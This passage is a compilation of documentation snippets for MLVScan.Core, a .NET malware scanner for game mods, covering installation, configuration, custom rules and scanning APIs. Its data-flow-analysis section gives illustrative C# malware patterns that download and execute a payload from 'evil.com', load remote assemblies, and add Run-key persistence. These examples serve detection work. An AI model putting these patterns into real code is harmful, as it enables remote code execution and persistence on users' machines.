### Install MLVScan.Core Package Source: https://github.com/ifbars/mlvscan.core/blob/main/README.md Installs the MLVScan.Core NuGet package using the .NET CLI. This is the first step to integrate the malware detection engine into your project. ```bash dotnet add package MLVScan.Core ``` -------------------------------- ### Quick Usage Example for MLVScan.Core Source: https://github.com/ifbars/mlvscan.core/blob/main/README.md Demonstrates how to quickly use MLVScan.Core to scan a .NET assembly for malware. It involves creating default rules, initializing an AssemblyScanner, scanning a file, and checking for critical findings. ```csharp var rules = RuleFactory.CreateDefaultRules(); var scanner = new AssemblyScanner(rules); var findings = scanner.Scan("path/to/suspicious.dll"); if (findings.Any(f => f.Severity == Severity.Critical)) { Console.WriteLine("Malware detected!"); } ``` -------------------------------- ### Configure Custom Scan Settings with ScanConfig (C#) Source: https://github.com/ifbars/mlvscan.core/wiki/Getting-Started Demonstrates how to customize the scanning behavior of MLVScan.Core using the `ScanConfig` class. This example shows how to enable multi-signal detection to reduce false positives and detect assembly metadata. ```csharp using MLVScan.Models; var config = new ScanConfig { EnableMultiSignalDetection = true, // Reduce false positives DetectAssemblyMetadata = true // Check assembly attributes }; var scanner = new AssemblyScanner(rules, config); ``` -------------------------------- ### DataFlowAnalyzer with Custom Configuration Source: https://github.com/ifbars/mlvscan.core/wiki/Data-Flow-Analysis Shows how to configure the DataFlowAnalyzer with custom settings. This example enables cross-method analysis, increases the maximum call chain depth, and enables tracking of return values for more comprehensive analysis. ```csharp var config = new DataFlowAnalyzerConfig { EnableCrossMethodAnalysis = true, // Enable cross-method tracking MaxCallChainDepth = 10, // Deeper analysis (slower) EnableReturnValueTracking = true // Track return values }; var analyzer = new DataFlowAnalyzer(rules, snippetBuilder, config); ``` -------------------------------- ### Cross-Method Download and Execute (C#) Source: https://github.com/ifbars/mlvscan.core/wiki/Data-Flow-Analysis This C# example illustrates a cross-method data flow for the download and execute pattern. Data is downloaded in one method (`DownloadPayload`), passed as a parameter to another method (`ExecutePayload`), decoded, and then executed. ```csharp public class Malware { public void EntryPoint() { // [SOURCE] Download payload byte[] payload = DownloadPayload(); // Call method with data ExecutePayload(payload); } private byte[] DownloadPayload() { // [SOURCE] Network operation return webClient.DownloadData("http://evil.com/payload"); } private void ExecutePayload(byte[] data) { // [TRANSFORM] Decode byte[] decoded = Convert.FromBase64String(Encoding.UTF8.GetString(data)); // [SINK] Execute Process.Start(Encoding.UTF8.GetString(decoded)); } } ``` -------------------------------- ### Install MLVScan.Core via Package Manager Console (Visual Studio) Source: https://github.com/ifbars/mlvscan.core/wiki/Getting-Started Installs the MLVScan.Core NuGet package using the Package Manager Console in Visual Studio. This command-line interface within Visual Studio is convenient for managing packages. ```powershell Install-Package MLVScan.Core ``` -------------------------------- ### Creating Custom Strict Rule Sets for MLVScan.Core Source: https://github.com/ifbars/mlvscan.core/wiki/Getting-Started Illustrates how to create a custom list of IScanRule implementations for more targeted scanning. This example includes specific rules like Shell32Rule, ProcessStartRule, and others, allowing users to define precisely which threats to check for. ```csharp // Create custom rule set for specific needs public List CreateStrictRules() { return new List { new Shell32Rule(), new ProcessStartRule(), new LoadFromStreamRule(), new DataExfiltrationRule(), new PersistenceRule() // Only check for critical threats }; } var scanner = new AssemblyScanner(CreateStrictRules()); ``` -------------------------------- ### Configure Data Flow Analysis Performance (C#) Source: https://github.com/ifbars/mlvscan.core/wiki/Data-Flow-Analysis Provides examples of configuring the DataFlowAnalyzerConfig for performance tuning. Demonstrates settings for fast, single-method scans versus thorough, cross-method analysis with adjustable depth and return value tracking. ```csharp // Fast scan (single-method only) var fastConfig = new DataFlowAnalyzerConfig { EnableCrossMethodAnalysis = false }; // Thorough scan (deep cross-method analysis) var thoroughConfig = new DataFlowAnalyzerConfig { EnableCrossMethodAnalysis = true, MaxCallChainDepth = 10, EnableReturnValueTracking = true }; ``` -------------------------------- ### Implement Custom Detection Rules with IScanRule Interface (C#) Source: https://context7.com/ifbars/mlvscan.core/llms.txt Provides an example of implementing the IScanRule interface to create custom detection logic for the scanner. It covers defining rule properties and implementing methods for analyzing method calls and string literals to identify suspicious patterns. ```csharp using MLVScan.Models; using Mono.Cecil; using Mono.Cecil.Cil; public class CustomRule : IScanRule { public string RuleId => "CustomRule"; public string Description => "Detects custom malicious pattern"; public Severity Severity => Severity.High; public bool RequiresCompanionFinding => false; public bool IsSuspicious(MethodReference method) { // Check if method call is suspicious return method.DeclaringType.FullName == "MaliciousNamespace.DangerousClass" && method.Name == "ExecutePayload"; } public IEnumerable AnalyzeInstructions( MethodDefinition method, Mono.Collections.Generic.Collection instructions, MethodSignals methodSignals) { var findings = new List(); foreach (var instruction in instructions) { if (instruction.OpCode == OpCodes.Ldstr && instruction.Operand is string str && str.Contains("malicious")) { findings.Add(new ScanFinding( method.FullName, "Suspicious string literal detected", Severity.Medium)); } } return findings; } public IEnumerable AnalyzeStringLiteral( string literal, MethodDefinition method, int instructionIndex) { if (literal.StartsWith("http://evil.com")) { yield return new ScanFinding( method.FullName, "Hardcoded malicious URL detected", Severity.Critical); } } } // Use custom rules var customRules = new List { new CustomRule() }; customRules.AddRange(RuleFactory.CreateDefaultRules()); var scanner = new AssemblyScanner(customRules); ``` -------------------------------- ### Detection Rules Reference (C#) Source: https://context7.com/ifbars/mlvscan.core/llms.txt Provides a reference for built-in detection rules used by MLVScan, organized by severity level. This includes critical, high, medium, and low severity rules, with examples of multi-signal detection. ```csharp // CRITICAL SEVERITY (highly dangerous) // Shell32Rule - shell32.dll usage for command execution // DataExfiltrationRule - Sending data to external servers (webhooks, FTP) // DataInfiltrationRule - Download and execute payloads from internet // PersistenceRule - Adding to system startup or registry run keys // COMReflectionAttackRule - COM object instantiation via reflection // HIGH SEVERITY (dangerous but sometimes legitimate) // ProcessStartRule - Process.Start calls (can be legitimate launchers) // ReflectionRule - Heavy reflection to hide method calls // RegistryRule - Windows Registry read/write operations // DllImportRule - P/Invoke to native libraries (User32, Kernel32) // EncodedStringLiteralRule - Strings hidden via numeric encoding arrays // EncodedBlobSplittingRule - Large blobs split to avoid signature detection // EncodedStringPipelineRule - Complex string construction for obfuscation // AssemblyDynamicLoadRule - Loading assemblies from streams/memory // MEDIUM SEVERITY (suspicious but common in legitimate mods) // Base64Rule - Base64 encoding/decoding (common in asset loaders) // HexStringRule - Large hex strings // ByteArrayManipulationRule - Manual byte array manipulation // LOW SEVERITY (minor indicators) // EnvironmentPathRule - Access to environment variables (%APPDATA%, %TEMP%) // SuspiciousLocalVariableRule - Suspicious local variable type combinations // Multi-signal detection example // Base64 alone = Medium severity (might be asset loading) // Base64 + Process.Start in same method = Critical (likely payload execution) ``` -------------------------------- ### Stream-Based Assembly Scanning Source: https://context7.com/ifbars/mlvscan.core/llms.txt Shows how to scan .NET assemblies directly from a memory stream, which is useful for web applications handling file uploads or in-memory analysis scenarios. It includes an example for ASP.NET Core. ```csharp using MLVScan; using MLVScan.Services; var rules = RuleFactory.CreateDefaultRules(); var scanner = new AssemblyScanner(rules); // Scan from memory stream (useful for web uploads) using var stream = File.OpenRead("mod.dll"); var findings = scanner.Scan(stream, "mod.dll"); // ASP.NET Core file upload example public async Task ScanUploadedFile(IFormFile file) { var rules = RuleFactory.CreateDefaultRules(); var scanner = new AssemblyScanner(rules); using var stream = file.OpenReadStream(); var findings = scanner.Scan(stream, file.FileName); return new ScanResult { FileName = file.FileName, IsClean = !findings.Any(f => f.Severity >= Severity.High), Findings = findings.ToList() }; } ``` -------------------------------- ### Interpreting Scan Results with Severity Filtering (C#) Source: https://github.com/ifbars/mlvscan.core/wiki/Getting-Started Illustrates how to process and interpret scan results by filtering findings based on their severity level. This example shows how to identify critical threats and make decisions based on the number of high-severity issues found. ```csharp var findings = scanner.Scan("suspicious_mod.dll"); // Group by severity var critical = findings.Where(f => f.Severity == Severity.Critical); var high = findings.Where(f => f.Severity == Severity.High); // Decision logic if (critical.Any()) { Console.WriteLine("CRITICAL THREAT DETECTED - DO NOT LOAD"); } else if (high.Count() > 3) { Console.WriteLine("Multiple high-severity issues - investigate carefully"); } ``` -------------------------------- ### Perform Simple File Scanning with MLVScan.Core (C#) Source: https://github.com/ifbars/mlvscan.core/wiki/Getting-Started Demonstrates how to scan a local DLL file for malware using MLVScan.Core. It initializes the scanner with default rules, performs the scan, and iterates through the findings to display details like severity, description, and location. It also shows how to access call chain or code snippet information if available. ```csharp using MLVScan; using MLVScan.Services; // Create scanner with default rules var rules = RuleFactory.CreateDefaultRules(); var scanner = new AssemblyScanner(rules); // Scan a file var findings = scanner.Scan("path/to/mod.dll"); // Process results foreach (var finding in findings) { Console.WriteLine($"[{finding.Severity}] {finding.Description}"); Console.WriteLine($" Location: {finding.Location}"); if (finding.HasCallChain) { Console.WriteLine($" Call Chain: {finding.CallChain!.Nodes.Count} nodes"); Console.WriteLine(finding.CallChain!.ToDetailedDescription()); } else if (!string.IsNullOrEmpty(finding.CodeSnippet)) { Console.WriteLine($" Code: {finding.CodeSnippet}"); } } ``` -------------------------------- ### Get Detailed Call Chain Description Source: https://github.com/ifbars/mlvscan.core/wiki/Call-Graph-Analysis Retrieves a detailed, formatted description of a scan finding's call chain. This includes the summary and a step-by-step breakdown of the call path with node information. ```csharp if (finding.HasCallChain) { Console.WriteLine(finding.CallChain!.ToDetailedDescription()); } // Output: // Detected high-risk DllImport of shell32.dll with suspicious function ShellExecuteEx - Hidden in Southwards.ShellExecuteEx, invoked from: OnInitializeMelon // // Call chain: // [ENTRY] NoMoreTrash.NoMoreTrashMod.OnInitializeMelon:150: Entry point calls ShellExecuteEx // -> [DECL] Southwards.ShellExecuteEx: P/Invoke declaration imports ShellExecuteEx from shell32.dll ``` -------------------------------- ### Interpret Security Threat Levels with Severity Enum Source: https://context7.com/ifbars/mlvscan.core/llms.txt Explains the `Severity` enum used by MLVScan to categorize the threat level of detected findings. It provides examples of how to use these levels for decision-making and grouping findings. ```csharp using MLVScan.Models; // Severity levels (int values for comparison) // Severity.Low = 1 - Minor suspicious patterns // Severity.Medium = 2 - Potentially dangerous // Severity.High = 3 - Dangerous behaviors // Severity.Critical = 4 - Highly dangerous activities var findings = scanner.Scan("mod.dll"); // Group findings by severity var critical = findings.Where(f => f.Severity == Severity.Critical); var high = findings.Where(f => f.Severity == Severity.High); var medium = findings.Where(f => f.Severity == Severity.Medium); var low = findings.Where(f => f.Severity == Severity.Low); // Decision logic if (critical.Any()) { Console.WriteLine("CRITICAL THREAT - DO NOT LOAD"); } else if (high.Count() > 3) { Console.WriteLine("Multiple high-severity issues - investigate carefully"); } else if (medium.Any() && high.Any()) { Console.WriteLine("Suspicious combination of patterns detected"); } ``` -------------------------------- ### Run MLVScan.Core Tests Source: https://github.com/ifbars/mlvscan.core/blob/main/README.md Executes all tests for the MLVScan.Core project using the .NET CLI. It also shows how to run tests with CI behavior enabled. ```bash dotnet test MLVScan.Core.sln ``` ```bash CI=true dotnet test MLVScan.Core.sln ``` -------------------------------- ### Scanning Uploaded Files with MLVScan.Core Source: https://github.com/ifbars/mlvscan.core/wiki/Getting-Started Demonstrates how to scan a file uploaded via a web form. It opens a stream from the IFormFile, initializes the scanner with default rules, and performs the scan. The result indicates if the file is clean based on the severity of any findings. ```csharp public async Task ScanUploadedFile(IFormFile file) { var rules = RuleFactory.CreateDefaultRules(); var scanner = new AssemblyScanner(rules); using var stream = file.OpenReadStream(); var findings = scanner.Scan(stream, file.FileName); return new ScanResult { FileName = file.FileName, IsClean = !findings.Any(f => f.Severity >= Severity.High), Findings = findings.ToList() }; } ``` -------------------------------- ### Create Custom Detection Rules with RuleFactory Source: https://context7.com/ifbars/mlvscan.core/llms.txt Illustrates how to use the RuleFactory to obtain the default set of detection rules or create a custom rule set for specific security needs. This allows for fine-grained control over the scanning process. ```csharp using MLVScan; using MLVScan.Models; // Get all default rules var rules = RuleFactory.CreateDefaultRules(); // Returns: Base64Rule, ProcessStartRule, Shell32Rule, AssemblyDynamicLoadRule, // ByteArrayManipulationRule, DllImportRule, RegistryRule, EncodedStringLiteralRule, // ReflectionRule, EnvironmentPathRule, EncodedStringPipelineRule, // EncodedBlobSplittingRule, COMReflectionAttackRule, DataExfiltrationRule, // DataInfiltrationRule, PersistenceRule, HexStringRule, SuspiciousLocalVariableRule // Create custom rule set for specific needs var strictRules = new List { new Shell32Rule(), // Critical: shell32.dll usage new ProcessStartRule(), // High: Process.Start calls new DataExfiltrationRule(), // Critical: Data theft attempts new DataInfiltrationRule(), // Critical: Payload download/execute new PersistenceRule() // Critical: Startup/registry persistence }; var scanner = new AssemblyScanner(strictRules); var findings = scanner.Scan("suspicious_mod.dll"); ``` -------------------------------- ### Calculating SHA256 Hash for File Verification Source: https://github.com/ifbars/mlvscan.core/wiki/Getting-Started Shows how to compute the SHA256 hash of a file using .NET's built-in cryptography. This is useful for whitelisting known good files, allowing the application to skip scanning them if their hash matches an entry in the whitelist. ```csharp using System.Security.Cryptography; public string CalculateHash(string filePath) { using var sha256 = SHA256.Create(); using var stream = File.OpenRead(filePath); var hash = sha256.ComputeHash(stream); return BitConverter.ToString(hash).Replace("-", "").ToLowerInvariant(); } // Use for whitelisting var fileHash = CalculateHash("mod.dll"); var whitelist = new[] { "3918e145...", "8e6dd194..." }; if (whitelist.Contains(fileHash)) { Console.WriteLine("Mod is whitelisted - skipping scan"); } else { var findings = scanner.Scan("mod.dll"); } ``` -------------------------------- ### Scan .NET Assembly with AssemblyScanner Source: https://context7.com/ifbars/mlvscan.core/llms.txt Demonstrates how to use the AssemblyScanner class to scan a .NET assembly file for malicious patterns. It initializes the scanner with default rules and processes the findings, including severity, description, location, and code snippets. ```csharp using MLVScan; using MLVScan.Models; using MLVScan.Services; // Create scanner with default rules var rules = RuleFactory.CreateDefaultRules(); var scanner = new AssemblyScanner(rules); // Scan a file var findings = scanner.Scan("path/to/suspicious.dll"); // Process results foreach (var finding in findings) { Console.WriteLine($"[{finding.Severity}] {finding.Description}"); Console.WriteLine($" Location: {finding.Location}"); if (finding.HasCallChain) { Console.WriteLine($" Call Chain: {finding.CallChain!.Nodes.Count} nodes"); } else if (!string.IsNullOrEmpty(finding.CodeSnippet)) { Console.WriteLine($" Code: {finding.CodeSnippet}"); } } // Check for critical threats if (findings.Any(f => f.Severity == Severity.Critical)) { Console.WriteLine("CRITICAL THREAT DETECTED - DO NOT LOAD"); } ``` -------------------------------- ### CallChain Class for Representing Call Sequences (C#) Source: https://github.com/ifbars/mlvscan.core/wiki/API-Reference The CallChain class represents a complete sequence of method calls, starting from an entry point and leading to a suspicious declaration. It is used to group related findings that form a single attack pattern. It provides methods to add nodes and format the chain's description and code snippets. ```csharp public class CallChain { public string ChainId { get; set; } public string RuleId { get; set; } public List Nodes { get; set; } public Severity Severity { get; set; } public string Summary { get; set; } // Add nodes to the chain public void PrependNode(CallChainNode node); public void AppendNode(CallChainNode node); // Get formatted output public string ToDetailedDescription(); public string? ToCombinedCodeSnippet(); } ``` -------------------------------- ### Extend Entry Point Detection (C#) Source: https://github.com/ifbars/mlvscan.core/wiki/Call-Graph-Analysis This C# code snippet shows how to extend the entry point detection in 'CallGraphBuilder' for custom mod frameworks. It involves overriding the 'IsLikelyEntryPoint' method to include framework-specific entry point names. ```csharp private bool IsLikelyEntryPoint(MethodDefinition method) { var name = method.Name; // Your custom framework's entry points if (name.StartsWith("OnMyFramework") || name == "MyFrameworkInit") return true; // Fall back to default detection return base.IsLikelyEntryPoint(method); } ``` -------------------------------- ### Scan Assembly with Default Rules (C#) Source: https://github.com/ifbars/mlvscan.core/wiki/Home Demonstrates the basic usage of MLVScan.Core to scan a DLL file using default detection rules. It initializes the rules, creates an assembly scanner, and performs the scan, returning any findings. ```csharp var rules = RuleFactory.CreateDefaultRules(); var scanner = new AssemblyScanner(rules); var findings = scanner.Scan("path/to/mod.dll"); ``` -------------------------------- ### Basic Data Flow Analysis with DataFlowAnalyzer Source: https://github.com/ifbars/mlvscan.core/wiki/Data-Flow-Analysis Demonstrates the fundamental usage of the DataFlowAnalyzer to analyze methods within an assembly. It initializes the analyzer with default rules and a code snippet builder, then iterates through methods to identify and report suspicious data flow chains. ```csharp using MLVScan.Services; using MLVScan.Models.Rules; // Create analyzer with default configuration var rules = RuleFactory.CreateDefaultRules(); var snippetBuilder = new CodeSnippetBuilder(); var analyzer = new DataFlowAnalyzer(rules, snippetBuilder); // Phase 1: Analyze each method foreach (var method in assembly.MainModule.Types.SelectMany(t => t.Methods)) { var chains = analyzer.AnalyzeMethod(method); foreach (var chain in chains.Where(c => c.IsSuspicious)) { Console.WriteLine($"[{chain.Severity}] {chain.Summary}"); Console.WriteLine(chain.ToDetailedDescription()); } } // Phase 2: Cross-method analysis analyzer.AnalyzeCrossMethodFlows(); // Get all findings var findings = analyzer.BuildDataFlowFindings(); ``` -------------------------------- ### Initialize and Use WASM Scanner in Browser (TypeScript) Source: https://context7.com/ifbars/mlvscan.core/llms.txt Demonstrates how to initialize and use the WebAssembly scanner within a browser environment using the '@mlvscan/wasm-core' package. It covers scanner initialization, status checks, version retrieval, and scanning assembly files, along with processing scan results. ```typescript import { initScanner, scanAssembly, getScannerStatus, getScannerVersion, isMockScanner } from '@mlvscan/wasm-core'; // Initialize scanner (optional - scanAssembly auto-inits) await initScanner({ baseUrl: '/', useMock: false, throwOnInitFailure: false }); // Check scanner status const status = getScannerStatus(); console.log('Ready:', status.ready); console.log('Mock mode:', status.isMock); if (status.initError) { console.warn('Scanner unavailable:', status.initError.message); } // Get version info const version = await getScannerVersion(); // e.g., "1.1.7" or "1.0.0-mock" // Scan a file (from file input or fetch) async function scanFile(file: File): Promise { const bytes = new Uint8Array(await file.arrayBuffer()); return await scanAssembly(bytes, file.name); } // Handle scan result const result = await scanFile(uploadedFile); console.log(`Total findings: ${result.summary.totalFindings}`); console.log(`Severity counts: ${JSON.stringify(result.summary.countBySeverity)}`); for (const finding of result.findings) { console.log(`[${finding.severity}] ${finding.description}`); console.log(` Location: ${finding.location}`); if (finding.callChain) { console.log(' Attack path:'); for (const node of finding.callChain.nodes) { console.log(` [${node.nodeType}] ${node.location}`); } } if (finding.dataFlowChain) { console.log(` Data flow pattern: ${finding.dataFlowChain.pattern}`); console.log(` Confidence: ${(finding.dataFlowChain.confidence * 100).toFixed(0)}%`); } } ``` -------------------------------- ### Clone MLVScan.Core Repository (Bash) Source: https://github.com/ifbars/mlvscan.core/wiki/Contributing This bash command clones the MLVScan.Core repository from GitHub. It's the first step in setting up the development environment, allowing you to download the entire project source code to your local machine. ```bash git clone https://github.com/ifBars/MLVScan.Core.git ``` -------------------------------- ### Implement Custom Logging with IScanLogger (C#) Source: https://github.com/ifbars/mlvscan.core/wiki/Getting-Started Shows how to implement a custom logger by inheriting from `IScanLogger` to integrate MLVScan.Core's logging with a platform-specific logging framework. This allows for centralized and customized logging of scan events. ```csharp using MLVScan.Abstractions; public class MyLogger : IScanLogger { public void Log(string message) { // Your logging implementation MyLoggingFramework.Info(message); } public void LogWarning(string message) { MyLoggingFramework.Warn(message); } public void LogError(string message) { MyLoggingFramework.Error(message); } } // Use with scanner var scanner = new AssemblyScanner(rules, config, logger: new MyLogger()); ``` -------------------------------- ### Perform Stream-Based Scanning with MLVScan.Core (C#) Source: https://github.com/ifbars/mlvscan.core/wiki/Getting-Started Shows how to scan an assembly from a stream, which is useful for web applications or in-memory analysis. This method avoids writing the assembly to disk, making it suitable for handling file uploads or network streams. ```csharp using var stream = File.OpenRead("mod.dll"); var findings = scanner.Scan(stream, "mod.dll"); ``` -------------------------------- ### Obfuscated Persistence (C#) Source: https://github.com/ifbars/mlvscan.core/wiki/Data-Flow-Analysis This snippet demonstrates an obfuscated persistence technique. It encodes a malicious payload using Base64 and then writes it to the Windows Run registry key, ensuring the malware executes automatically on system startup. ```csharp // [TRANSFORM] Encode payload to hide from detection byte[] encoded = Convert.ToBase64String(maliciousPayload); // [SINK] Write to startup registry Registry.SetValue(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "Updater", encoded); ``` -------------------------------- ### Assembly Scanning Error Handling (C#) Source: https://context7.com/ifbars/mlvscan.core/llms.txt Illustrates robust error handling for assembly scanning operations using C#. It demonstrates how to catch specific exceptions like ArgumentException, FileNotFoundException, BadImageFormatException, and general exceptions during the scanning process. ```csharp using MLVScan; using MLVScan.Services; var rules = RuleFactory.CreateDefaultRules(); var scanner = new AssemblyScanner(rules); try { var findings = scanner.Scan("mod.dll"); foreach (var finding in findings) { Console.WriteLine($"[{finding.Severity}] {finding.Description}"); } } catch (ArgumentException ex) { // Empty or invalid path provided Console.WriteLine($"Invalid argument: {ex.Message}"); } catch (FileNotFoundException ex) { // Assembly file doesn't exist Console.WriteLine($"File not found: {ex.FileName}"); } catch (BadImageFormatException) { // Not a valid .NET assembly (native DLL, corrupt file, etc.) Console.WriteLine("Not a valid .NET assembly"); } catch (Exception ex) { // General scanning error (malformed IL, etc.) Console.WriteLine($"Scan error: {ex.Message}"); } ``` -------------------------------- ### Build MLVScan.Core Project (Bash) Source: https://github.com/ifbars/mlvscan.core/wiki/Contributing This bash command builds the MLVScan.Core project using the .NET CLI. After cloning the repository, running this command compiles the source code and prepares the project for execution or further development. ```bash dotnet build ``` -------------------------------- ### Integration with AssemblyScanner Source: https://github.com/ifbars/mlvscan.core/wiki/Data-Flow-Analysis Demonstrates how the AssemblyScanner utilizes the DataFlowAnalyzer internally. This snippet shows how to initialize an AssemblyScanner with rules and scan a DLL, then filter the findings to retrieve data flow analysis results. ```csharp var rules = RuleFactory.CreateDefaultRules(); var scanner = new AssemblyScanner(rules); var findings = scanner.Scan("suspicious_mod.dll"); // Findings include data flow chains foreach (var finding in findings.Where(f => f.RuleId == "DataFlowAnalysis")) { Console.WriteLine($"[{finding.Severity}] {finding.Description}"); } ``` -------------------------------- ### Dynamic Code Loading (C#) Source: https://github.com/ifbars/mlvscan.core/wiki/Data-Flow-Analysis This snippet shows a critical pattern for dynamic code loading. It downloads a malicious assembly from a network, decodes it (Base64), and then loads it into the current process using `Assembly.Load`. This allows for arbitrary code execution. ```csharp // [SOURCE] Download malicious assembly byte[] assemblyBytes = webClient.DownloadData("http://evil.com/payload.dll"); // [TRANSFORM] Decode obfuscated assembly byte[] decoded = Convert.FromBase64String(Encoding.UTF8.GetString(assemblyBytes)); // [SINK] Load and execute code Assembly.Load(decoded); ``` -------------------------------- ### Error Handling for Assembly Scanning Source: https://github.com/ifbars/mlvscan.core/wiki/Getting-Started Demonstrates robust error handling when scanning assemblies with MLVScan.Core. It includes specific catches for common exceptions like BadImageFormatException and FileNotFoundException, along with a general catch-all for other potential errors during the scanning process. ```csharp try { var findings = scanner.Scan("mod.dll"); // Process findings } catch (BadImageFormatException) { Console.WriteLine("Not a valid .NET assembly"); } catch (FileNotFoundException) { Console.WriteLine("File not found"); } catch (Exception ex) { Console.WriteLine($"Scan error: {ex.Message}"); } ``` -------------------------------- ### Download and Execute Malicious Payload (C#) Source: https://github.com/ifbars/mlvscan.core/wiki/Data-Flow-Analysis This snippet demonstrates a critical malware pattern where a payload is downloaded from a network, decoded, written to disk, and then executed. It involves network interaction, data transformation (Base64 decoding), file system operations, and process execution. ```csharp // [SOURCE] Download payload byte[] payload = webClient.DownloadData("http://evil.com/payload"); // [TRANSFORM] Decode byte[] decoded = Convert.FromBase64String(Encoding.UTF8.GetString(payload)); // [SINK] Write to disk File.WriteAllBytes("C:\\temp\\malware.exe", decoded); // [SINK] Execute Process.Start("C:\\temp\\malware.exe"); ``` -------------------------------- ### Provide Custom Assembly Resolver for Game Platforms (C#) Source: https://context7.com/ifbars/mlvscan.core/llms.txt Illustrates how to implement the IAssemblyResolverProvider interface to create a custom assembly resolver, specifically for platforms like MelonLoader and BepInEx. This allows the scanner to locate and resolve game-specific assemblies. ```csharp using Mono.Cecil; using MLVScan.Abstractions; using MLVScan.Services; public class GameAssemblyResolverProvider : IAssemblyResolverProvider { private readonly string _gameDirectory; public GameAssemblyResolverProvider(string gameDirectory) { _gameDirectory = gameDirectory; } public IAssemblyResolver CreateResolver() { var resolver = new DefaultAssemblyResolver(); resolver.AddSearchDirectory(Path.Combine(_gameDirectory, "Managed")); resolver.AddSearchDirectory(Path.Combine(_gameDirectory, "MelonLoader")); resolver.AddSearchDirectory(Path.Combine(_gameDirectory, "BepInEx", "core")); return resolver; } } // Use with scanner var resolverProvider = new GameAssemblyResolverProvider(@"C:\Games\MyGame"); var rules = RuleFactory.CreateDefaultRules(); var scanner = new AssemblyScanner(rules, null, resolverProvider); var findings = scanner.Scan("mod.dll"); ``` -------------------------------- ### Implement Custom Logging Interface (C#) Source: https://context7.com/ifbars/mlvscan.core/llms.txt Demonstrates how to implement the IScanLogger interface for platform-specific logging. This allows integration with logging frameworks like MelonLoader or BepInEx. The implementation involves overriding methods for different log levels (Debug, Info, Warning, Error). ```csharp using MLVScan.Abstractions; public class MyPlatformLogger : IScanLogger { public void Debug(string message) { // Platform-specific debug logging Console.WriteLine($"[DEBUG] {message}"); } public void Info(string message) { Console.WriteLine($"[INFO] {message}"); } public void Warning(string message) { Console.WriteLine($"[WARN] {message}"); } public void Error(string message) { Console.WriteLine($"[ERROR] {message}"); } public void Error(string message, Exception exception) { Console.WriteLine($"[ERROR] {message}: {exception.Message}"); } } // MelonLoader example public class MelonScanLogger : IScanLogger { public void Debug(string message) => MelonLogger.Msg(message); public void Info(string message) => MelonLogger.Msg(message); public void Warning(string message) => MelonLogger.Warning(message); public void Error(string message) => MelonLogger.Error(message); public void Error(string message, Exception ex) => MelonLogger.Error($"{message}: {ex}"); } ``` -------------------------------- ### AssemblyScanner Integration Source: https://github.com/ifbars/mlvscan.core/wiki/Data-Flow-Analysis Demonstrates how to use the AssemblyScanner, which internally utilizes the DataFlowAnalyzer. ```APIDOC ## Integration with AssemblyScanner ### Description The `AssemblyScanner` class provides a high-level interface for scanning assemblies and automatically uses `DataFlowAnalyzer` for relevant findings. ### Usage Example ```csharp var rules = RuleFactory.CreateDefaultRules(); var scanner = new AssemblyScanner(rules); var findings = scanner.Scan("suspicious_mod.dll"); // Findings include data flow chains foreach (var finding in findings.Where(f => f.RuleId == "DataFlowAnalysis")) { Console.WriteLine($"[{finding.Severity}] {finding.Description}"); } ``` ``` -------------------------------- ### Enabling Multi-Signal Detection in MLVScan.Core Source: https://github.com/ifbars/mlvscan.core/wiki/Getting-Started Explains how to enable multi-signal detection for reduced false positives. When enabled, the scanner analyzes patterns in combination, meaning a single suspicious pattern might not trigger a flag unless combined with other contextual signals. ```csharp // Example: Base64 alone might not trigger // But Base64 + Process.Start will var config = new ScanConfig { EnableMultiSignalDetection = true // Enable contextual analysis }; // This helps avoid flagging legitimate uses of reflection, encoding, etc. ``` -------------------------------- ### Platform-Specific Assembly Resolution with MLVScan.Core Source: https://github.com/ifbars/mlvscan.core/wiki/Getting-Started Provides a custom assembly resolver for platforms that require specific game assembly locations. It extends the IAssemblyResolverProvider interface and adds search directories for 'Managed' and 'MelonLoader' subfolders within the game directory. This is useful for ensuring that MLVScan.Core can find and analyze game-specific assemblies. ```csharp using Mono.Cecil; using MLVScan.Abstractions; public class MyResolverProvider : IAssemblyResolverProvider { private readonly string _gameDirectory; public MyResolverProvider(string gameDirectory) { _gameDirectory = gameDirectory; } public IAssemblyResolver CreateResolver() { var resolver = new DefaultAssemblyResolver(); resolver.AddSearchDirectory(Path.Combine(_gameDirectory, "Managed")); resolver.AddSearchDirectory(Path.Combine(_gameDirectory, "MelonLoader")); return resolver; } } // Use with scanner var resolverProvider = new MyResolverProvider(@"C:\\Games\MyGame"); var scanner = new AssemblyScanner(rules, config, resolverProvider); ``` -------------------------------- ### Accessing Details of DataFlowChain Source: https://github.com/ifbars/mlvscan.core/wiki/Data-Flow-Analysis Explains how to extract detailed information from a DataFlowChain object. This includes accessing basic properties like pattern and severity, cross-method details, and specific node types (source, transforms, sinks). It also shows how to retrieve code snippets related to the chain. ```csharp var chains = analyzer.AnalyzeMethod(method); foreach (var chain in chains) { // Basic info Console.WriteLine($"Pattern: {chain.Pattern}"); Console.WriteLine($"Severity: {chain.Severity}"); Console.WriteLine($"Confidence: {chain.Confidence * 100:F0}%"); // Cross-method info if (chain.IsCrossMethod) { Console.WriteLine($"Involves {chain.InvolvedMethods.Count} methods"); Console.WriteLine($"Call depth: {chain.CallDepth}"); } // Get specific node types var source = chain.GetSource(); var transforms = chain.GetTransforms(); var sinks = chain.GetSinks(); // Get code snippets string? combinedCode = chain.ToCombinedCodeSnippet(); } ``` -------------------------------- ### Implement IScanRule for New Detection Logic (C#) Source: https://github.com/ifbars/mlvscan.core/wiki/Contributing This C# code snippet demonstrates how to implement the `IScanRule` interface to create a new detection rule. It defines the rule's description, severity, and the logic to identify suspicious patterns within a method's instructions. This is crucial for extending the MLVScan engine's capabilities. ```csharp using Mono.Cecil; using Mono.Cecil.Cil; namespace MLVScan.Models.Rules { public class MyNewRule : IScanRule { public string Description => "Detects usage of DangerousAPI"; public Severity Severity => Severity.High; public bool IsSuspicious(MethodDefinition method) { if (!method.HasBody) return false; foreach (var instruction in method.Body.Instructions) { // Example: Detect checking for a specific string if (instruction.OpCode == OpCodes.Ldstr && instruction.Operand.ToString().Contains("dangerous_string")) { return true; } } return false; } } } ``` -------------------------------- ### Batch Mod Scanning with MLVScan.Core Source: https://github.com/ifbars/mlvscan.core/wiki/Getting-Started Scans all DLL files within a specified directory for potential threats. It iterates through each DLL, attempts to scan it, and stores any findings in a dictionary. Errors during scanning are caught and reported to the console. ```csharp public Dictionary> ScanAllMods(string modsDirectory) { var rules = RuleFactory.CreateDefaultRules(); var scanner = new AssemblyScanner(rules); var results = new Dictionary> (); var modFiles = Directory.GetFiles(modsDirectory, "*.dll"); foreach (var modFile in modFiles) { try { var findings = scanner.Scan(modFile).ToList(); if 